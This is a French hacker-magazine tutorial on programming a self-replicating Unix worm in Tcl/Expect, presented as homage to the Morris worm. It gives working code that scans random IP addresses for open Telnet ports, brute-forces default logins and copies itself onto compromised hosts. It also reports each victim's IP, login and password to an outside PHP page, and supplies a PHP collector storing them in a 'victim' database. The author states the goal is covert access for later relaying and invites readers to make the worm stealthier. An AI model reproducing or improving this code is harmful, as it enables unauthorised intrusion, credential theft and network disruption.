Programmer un ver
Intro
Depuis quelques temps mon intérêt s'est tourné
vers les vers. Pas vers les macros-virus ou les vers windows comme Sobig,
Blaster etc. mais vers les worm Unix, principalement le Morris Worm.
Tout le monde connaît l'histoire :
Robert Morris Jr. (alias RTM), un étudiant de 23 ans à l'université
de Cornell a codé ce ver qui a foutu en rade un tiers du réseau
Internet de l'époque (début novembre 88).
Le père de RTM était le dirigeant du NCSC (National Computer
Security Center) qui est la section de la NSA dédié à
la sécurité informatique. Son père était un guru
Unix. Il a écrit de nombreux bouquins sur la sécurité
Unix et découvert pas mal de failles dessus. De nombreuses personnes
ont fait des études du ver (dans le Phrack#22 par exemple) et c'est
marrant de constater que ces articles font souvent références
à plusieurs livres du père de RTM.
Mais le plus choquant quand on étudie le code de ce ver c'est l'absence
d'instructions malveillantes. Le ver ne fait que se répendre de machines
en machines. Ce qui a causé autant de dégats c'est une erreur
de codage ou plutôt un oubli dans la création du ver : le ver
peut réattaquer une machine même si elle est déjà
infectée.
Par conséquence les connexions surchargent le serveur qui n'est plus
capable de loger qui que se soit, même l'administrateur physiquement
présent devant le serveur.
Je n'entre pas en détail dans la programmation du 'InternetWorm' (une
autre fois peut être) mais pour moi RTM reste mon modèle, le
hacker n°1.
RTM, je sais que tu ne liras pas ce mag... (ya peu de chances) mais saches
que je te dédie ce mag ainsi que mon premier ver qui est dans l'idéologie
pas si lointain du tiens.
RTM
Théorie
Bon on sèche les larmes et on passe au boulot
Voici ce que notre ver doit faire : il doit se connecter sur le port Telnet
d'une machine qu'il aura pris tout à fait au hazard. Si le port est
ouvert il teste les mots de passe par défaut. Pour les mots de passes
par défaut ya des listes toute faites qui sont régulièrement
mises à jour. Ici je prend le fichier dad400.txt. Si un couple login/password
est correct le ver doit nous en informer et infecter la machine à laquelle
il est conecté.
Une fois qu'il a infecté cette machine (elle peut fonctionner indépendamment
du ver attaquant), le ver passe à une machine suivante.
Je vais préciser ici quelques concepts sur le pourquoi du comment le
ver fonctionne.
Déjà on peut se demander pourquoi c'est le ver qui scanne qui
nous informe qu'il a trouvé une machine infectée et non la machine
infectée qui vient nous avertir quelle est infectée.
La réponse est simple : compatibilité. Tous les problèmes
que nous aurons en programmant un ver seront dû à la compatibilité.
En effet tous les serveurs Telnet n'ont pas le même prompt, ensuite
toutes les machines n'ont pas telnet, wget etc.
Une machine qui lance un scan est forcément correctement infectée
donc on peut compter sur elle. Une machine qui vient tout juste de se faire
infecter est moins sûre pour nous. Déjà parce que Tclsh
n'est pas forcément installé (je rappelle que l'on va coder
en Tcl/Expect). et que le lancement du worm peut foirer sur cette machine.
Notre objectif n'est pas d'infecter le maximum de machines contrairement à
beaucoup de worms qui commencent par scanner le sous-réseau. L'objectif
de notre worm est de récupérer des accès sur différentes
machines qui pourront nous servir de relais ou autre (héhé)
plus tard.
Passons à l'algorithme de ce ver.
Tout d'abord on part d'une machine à laquelle on a un accès
(évidemment il faut éviter d'utiliser sa machine si on veut
pas se faire tracer).
Le worm est lancé.
Il doit d'abord regarder si les commandes telnet & wget sont présentes
sur le système. Si elles sont présentes elles vont nous simplifier
la tâche. Si il manque que wget on peut se rabattre sur telnet uniquement.
Si telnet est aussi absent on peut prévoir une voie de secours qui
utilisera les sockets en Tcl (c'est loin d'être le top).
Ces vérifications permettent au ver de déterminer la façon
dont il va fonctionner.
Dans tous les cas il scanne des ips au hazard (il ne prend pas une plage d'ip,
les adresses qui sont générées n'ont aucun rapport entre
elles).
On pourra éventuellement avoir recours aux socket Tcl pour vérifier
que le port 23 est ouvert avant de lancer telnet.
Si le port est ouvert on essaye les accounts par défaut (le top serait
de déterminer le système sur lequel on est (à partir
de son prompt) puis de tester les password en conséquence).
Si on a trouvé un compte valide, le worm doit appeler une page php
avec comme paramêtre l'ip de la machine qu'il vient d'infecter (et si
possible le login & password).
Cette page php enregistre dans une base de données l'adresse IP fournie
par le ver. Le script php regarde aussi si la machine était déjà
infectée. En fonction de cela la page doit contenir un mot clé
qui permettra au worm de savoir si il doit se reproduire sur la nouvelle machine
ou se déconnecter.
Si la machine n'est pas encore infectée, il recopie le code du ver
et le lance.
Il faut ensuite que le ver se déconnecte pour passer à la machine
suivante. Mais cette déconnexion peut nous poser des problèmes.
En effet la déconnexion peut avoir comme effet de stopper le worm.
Il faut absolument que la machine attaquante se déconnecte pour qu'un
admin ne voit pas que sa machine est connectée à une autre machine.
Les solutions auxquelles j'ai pensé sont la commande nohup ou bien
le script fraichement installé qui tuerait son processus père
(la connexion telnet).
Une fois déconnecté notre machine va recommencer à scanner
l'Internet à la recherche d'une autre machine infectable.
Si vous avez bien lu les articles précédents
(programmation Tcl & Expect) vous avez dû devinerque nous allons
réutiliser quelques scripts que nous avons vu. Par exemple nous allons
reprendre et modifier le script pour telnet. La plupart des serveurs telnet
envoie les strings 'ogin:' et 'assword:'
mais ensuite le prompt peut être un '$'
un '#' ou un '>'
etc. en fonction de la configuration de la machine. C'est l'une des possibilités
qu'il faudra gérer.
Pour appeler le script php j'ai pensé à wget. Mais il n'est
pas forcément installé. On peut très facilement se servir
de telnet pour le remplacer. Si aucun des deux n'est présent, Tcl fourni
un package http qui peut être sympa à utiliser.
La reproduction en elle même
(la recopie du ver) peut aussi poser des problèmes. On pourrait encore
avoir recours à wget ou au package http pour récupérer
le ver sur un site internet (solution assez élégante il faut
l'avouer ;-). Sinon il va faloir parler au shell (par un 'cat
> ver << EOF' par exemple) mais
c vraiment le dernier recours :-(.
Il va donc falloir coder les différentes étapes et les différentes
façons de faire qui seront appelées en fonction des ressources
dispo sur la machine infectée.
Pratique
Reprise de l'article le 12/12/2003
J'ai écrit l'article en deux fois. La partie ci-dessus était
plutôt les questions à se poser avant de coder le worm. Maintenant
le worm est codé et on va pourvoir étudier les solutions choisies.
La déconnexion
En programmation C, les programmes qui tournent en taches de fond s'apellent
des démons. La fonction daemon() (si mes souvenirs sont bons) permet,
pour le langage C de faire passer son programme en démon. La documentation
nous explique que transformer son programme en démon, c'est le rendre
indépendant de son tty (terminal).
Ca tombe bien car en Tcl ya une fonction similaire qui s'apelle disconnect.
On utilisera donc les deux lignes suivantes :
if {[fork]!=0} exit
disconnect
La première ligne fork (création d'un processus fils) un second worm. Le worm fils se déclare indépendant (disconnect) et le père se tue avec exit (c'est toujours très éthique les processus ;-)
Génération d'une adresse IP
aléatoire
Ici nous allons créer une fonction qui renverra l'adresse IP. Une adresse
IP c'est 4 chiffres compris entre 0 et 255. En Tcl il existe une fonction
rand() qui donne un chiffre à virgule
aléatoire entre 0 et 1.
On va fixer le précision de Tcl à 3 pour obtenir des nombres
à 3 chiffres après la virgule. En multipliant le résultat
obtenu aléatoirement par 1000 on obtient un nombre entre 0 et 1000
exclu.
On doit donc diviser ce nombre par 4 pour avoir un maximum de 250. Certes
on atteint pas les 255 mais c'est pas bien génant.
Pour obtenir une adresse IP il faut donc concaténer 4 nombres séparés
par des points. Ce que l'on obtient avec la fonction suivante.
proc get_random_ip
{ } {
set tcl_precision 3
set ip ""
append ip [expr round((rand()*1000)/4)]
for {set i 0} {$i < 3} {incr
i 1} {
append ip "."
append ip [expr round((rand()*1000)/4)]
}
return $ip
}
Vérifier que le port Telnet est ouvert
Plutôt que de lancer un telnet et de s'apercevoir que le port telnet
est fermé, on utilise les socket Tcl, ce qui est bien plus rapide.
proc is_telnet_open
ip {
set is_open 0
if { [catch {set
sock [socket $ip 23]} ] } {
set is_open 0
} else {
set is_open 1
close $sock
}
return $is_open
}
La fonction prend l'adresse IP comme paramêtre. L'ouverture de la connexion se fait avec la commande socket. La seule façon de savoir si la connexion est ouverte ou non se fait par le biais d'une exception que l'on attrape avec un catch (comme en Java). On renvoie 1 si le port est ouvert, 0 sinon.
Rechecher où se trouve telnet et wget
Pour cette version du worm je ne me suis pas servi de wget car le package
http de Tcl s'est montré performant. Toutefois si le package n'est
pas présent il peut être utile d'avoir wget sous la main. Cette
fonction devrait être étendue pour rechercher telnet dans plus
de répertoires (/bin, /usr/local/bin et /sbin par exemple). La fonction
utilise des variables globales au lieu de renvoyer un résultat.
proc where_are_progs
{ } {
global wget_found
global telnet_found
global wget_path
global telnet_path
if [file exists "/usr/bin/wget"] == 1
{
set wget_found 1
set wget_path "/usr/bin/wget"
}
if [file exists "/usr/bin/telnet"]==1
{
set telnet_found 1
set telnet_path
"/usr/bin/telnet"
}
}
Savoir où se trouve le ver (dans l'arborescence)
proc whereis_worm
{ } {
set worm_path [pwd]
set file_name [lindex [split
[info script] "/"]
end]
append worm_path "/"
$file_name
return $worm_path
}
La commande pwd permet de savoir dans quel répertoire se trouve le vers. La commande info script permet de connaître la façon dont a été apellé le script (par exemple ça peut être ./tcl/prog/tclworm). On doit donc récupérer le mot après le dernier '/' pour avoir le nom du fichier. On concatène ensuite les deux résultats et on renvoie la valeur.
Reproduction
Pour la réplication j'ai finalement décidé d'utiliser
la commande cat sous le shell. Le problème avec cette méthode
c'est que le shell interprète certains caractères. Ainsi si
on tappe :
[sirius]$ cat > truc.txt <<
EOF
> $x
> second line
> EOF
[sirius]$ cat truc.txt
second line
[sirius]$
On s'appercoit que notre $x n'apparait pas. En fait c'est le shell qui a fait une substitution de variable. Si on modifie un peu...
[sirius]$ cat > truc.txt <<
EOF
> \$x
> second line
> EOF
[sirius]$ cat truc.txt
$x
second line
[sirius]$
Ca marche !! Il faut donc mettre un antislash
devant le caractère pour l'échapper. A échapper on a
donc le dollars, les backquotes et on doit doubler les antislashs.
Ensuite un gros problème sur lequel j'ai perdu quelques jours : les
tabulations. Sous un shell si vous tappez sur tabulation, Linux vous affiche
les fichiers qui peuvent correspondre à votre demande (completion).
J'ai mis un certain temps avant de comprendre pourquoi j'avais des listings
de fichiers quand j'essayais de faire marcher le ver. La seule solution que
j'ai trouvé jusqu'à présent c'est de faire un trim pour
supprimer les tabulations. La fonction suivante permet de mettre le ver en
mémoire et de le formater de telle façon qu'il puisse être
envoyé par le shell.
proc get_content
{ } {
set f [open [whereis_worm]
"r"]
set texte ""
while { ![eof $f] }
{
set ligne [gets $f]
set ligne [string map
{\\ \\\\ \$ \\\$ \` \\\`} $ligne]
set ligne [string trim
$ligne]
append texte
"$ligne\n"
}
close $f
return $texte
}
On ouvre le worm en lecture. On lit une ligne. On échappe les antislashes, les dollars et les backquotes. On retire aussi l'indentation (les tabulations) avec la fonction trim. On concatène le résultat dans la variable $texte et on recommence avec la ligne suivante et ce jusqu'à la fin.
Deux fonctions qui peuvent (peut-être)
servir
Je sais plus trop où j'ai trouvé ces fonctions. La première
renvoie l'adresse IP de la machine où on se trouve et l'autre l'adresse
du réseau sur lequel on est. Je ne me sert pas de ces fonctions mais
elles peuvent utiles si on souhaite attaquer le sous-réseau (une autre
version du ver par exemple).
proc MyIpaddr
{ } {
set addr ""
if {[catch {dns address
[info hostname]} addr]} {
set server [socket -server
# 0]
set port [lindex [fconfigure
$server -sockname] 2]
set host [lindex [fconfigure
$server -sockname] 1]
set client [socket $host
$port]
set addr [lindex [fconfigure
$client -sockname] 0]
close $client
close $server
}
return $addr
}
proc MyNet
{} {
set net ""
regexp {(.*)\..*} [MyIpaddr] {}
net
return $net
}
J'ai pas cherché à comprendre comment marchaient ces fonctions mais ça marche :-)
Recencement
L'objectif du worm est de trouver des accès sur des machines. Cela
n'aurait aucune utilité si on en était pas informé. La
fonction suivante prend en paramêtre l'adresse ip de la machine en cours
d'infection et le login et le password pour y accèder. Elle appelle
alors une page php qui enregistrera les infos dans une base de données.
En même temps le script php doit regarder si la machine est ou non déjà
infectée. Selon le cas la page php affichera "_haxored_"
ou "gogetsome". La fonction renverra
"zut" si il y a eu un problème d'accès à
la page (présence d'un firewall, obligation d'utiliser un proxy), "next"
si la machine est déjà infectée (on doit donc passer
à une autre machine) ou "go"
si la machine n'est pas encore infectée.
proc declare_becane
{ip login password} {
if {![llength [info commands
"::http::geturl"]]} {
if {[catch {package
require http}]} {
return "zut"
}
}
::http::config -useragent "TCLWORM
v1.0 (LOTFREE)" ;# Just for the style
set htmlUrl "http://membres.lycos.fr/lotfree/wormstat.php?ip=$ip&login=$login&pass=$password"
if { [catch { ::http::geturl
$htmlUrl} token]} {
return "zut"
}
if { [::http::status $token] !=
"ok"} {
return "zut"
}
set htmlFile [::http::data $token]
if { [regexp "haxored"
$htmlFile] == 1 } {
return "next"
}
return "go"
}
La première étape c'est la vérification de la présence du package HTTP. La deuxième étape c'est l'envoi de la requête http avec la commande ::http::geturl. Le résultat est enregistré dans une structure désignée ici par la variable $token. On commence par vérifier que le code renvoyé est "ok" et si c'est la cas on récupère la réponse du script php avec ::http::data. On regarde enfin si la réponse contient ou non le texte "haxored".
Le corps du programme.
La source complète est ici.
Le ver contient des listes de couples login/password utilisés dans
une boucle (une fois qu'on a trouvé une ip avec le port 23 ouvert).
Après s'être mis en démon (interract), le programme recherche
où son situés telnet et wget.
Le programme entre ensuite dans sa boucle principale :
tant que 1=1 (boucle infinie) faire
obtenir une ip aléatoire
si cette ip commence par 127 on recommence avec une
autre ip (évite l'auto infection)
si le port telnet n'est pas ouvert on recommence avec
une autre ip
sinon
on teste un couple login/password
si c'est pas bon on passe
au couple suivant
sinon on apelle le script
php
si
on a un haxored on se déconnecte
sinon
on se réplique et on se déconnecte
fin du sinon login/password
fin du sinon telnet ouvert
fin du tant que
Pour ce qui est de la partie PHP qui récupère la liste des serveurs contaminés on peut faire le script suivant :
<? if (isset($ip) && $ip!="" && isset($login) && isset($pass)){ mysql_connect(); mysql_select_db('perso'); $result = mysql_query("SELECT * FROM victim WHERE ip='$ip'"); $num_rows = mysql_num_rows($result); if ($num_rows==0){ echo "gogetsome"; mysql_query("INSERT INTO victim VALUES ('$ip','$login','$pass')"); } else { echo "_haxored_"; } mysql_close(); } else echo "gogetsome_eof"; ?>
Evolution
Le Tclworm est maintenant disponible sur packetstormsecurity.nl.
Tout le monde peut le retoucher, le faire évoluer etc.
Dans cet optique j'ai créé un 'projet' sur www.infoshackers.com.
Le but de ce projet est d'améliorer le ver principalement pour augmenter
son efficacité.
Si vous avez lu cet article et les deux précédents vous avez
du vous rendre compte que cela ne demandait pas de connaissances poussées
en programmation. Tout le monde peut donc participer au projet, aporter
de nouvelles idées, proposer un nouveau module, une nouvelle fonction,
voire une nouvelle version.
Il y a un bon nombre d'améliorations à effectuer.
La plus simple est faire en sorte que le ver cherche Telnet plus de répertoires
que l'actuelle version.
Une fonction réellement intéressante serait de déduire
des passwords possibles en fonction de la bannière du serveur (si
on a un 'Cisco server' on va se restreindre aux passwords cisco).
On pourrait essayer de faire une version plus rapide qui utiliserait les
Threads en Tcl.
Il faudrait aussi que le ver soit un peu plus discret aux yeux de l'administrateur
d'une machine infectée.
Il existe des fonctions de timeout dans Expect que je n'ai pas utilisé
mais pourrais permettre d'éviter les situations bloquantes (le serveur
envoie une chaine autre que login: ou user:).
De plus j'ai déjà vu des machines où Tcl est installé
mais pas Expect. Ue version en Tcl pur serais une utopie ? A voir.
L'objectif global est que le ver fonctionne sur le plus
de machines Unix possible.
A bientôt donc ;-)